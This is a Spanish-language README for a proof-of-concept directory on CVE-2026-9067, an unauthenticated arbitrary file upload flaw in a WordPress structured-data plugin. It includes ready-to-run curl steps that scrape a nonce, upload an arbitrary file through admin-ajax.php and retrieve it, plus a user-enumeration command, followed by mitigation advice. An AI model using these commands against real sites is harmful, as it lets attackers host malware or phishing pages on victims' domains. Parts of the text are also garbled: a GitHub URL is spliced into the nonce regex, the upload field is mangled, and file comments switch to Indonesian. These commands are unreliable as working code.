POC & Xploit - Directorio de Pruebas de Concepto
Documentación y exploits para vulnerabilidades encontradas en el entorno de pruebas de seguridad de WordPress.
Lista de Vulnerabilidades
| CVE ID | Plugin | Severidad | Tipo | Estado |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Alta (8.1) | Subida de archivos sin restricciones | Documentado |
CVE-2026-9067
Resumen Rápido
Descripción de la Vulnerabilidad
El plugin Schema & Structured Data for WP & AMP anterior a la versión 1.60 no valida las capacidades (capabilities) del usuario en los manejadores AJAX para la subida de archivos ni valida el tipo de archivo subido. Esto permite que un atacante no autenticado pueda subir archivos arbitrarios.
Impacto
- Alojamiento de contenido: El atacante puede alojar contenido malicioso en el dominio de la víctima
- Consumo de disco: La subida de archivos arbitrarios puede agotar el espacio en disco
- Abuso de reputación: Distribución de malware y páginas de phishing desde el dominio de la víctima
Nota importante: El núcleo de WordPress bloquea los archivos ejecutables (.php, .phtml, .html, .svg), por lo que no existe una vía de RCE directa a partir de esta vulnerabilidad.
Archivos
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
PoC Rápido
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
Comandos de Prueba
Comprobar el Estado del Sitio
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
Comprobar la Versión del Plugin
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
Enumerar Usuarios
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
- Actualizar el plugin: Actualiza Schema & Structured Data for WP & AMP a la versión 1.60 o posterior
- Deshabilitar el plugin: Si la actualización no es posible, desactiva el plugin
- Hardening:
- Establecer la constante
DISALLOW_FILE_MODIFICATIONS
- Deshabilitar la ejecución de PHP en el directorio de uploads mediante
.htaccess
- Implementar reglas de WAF
Referencias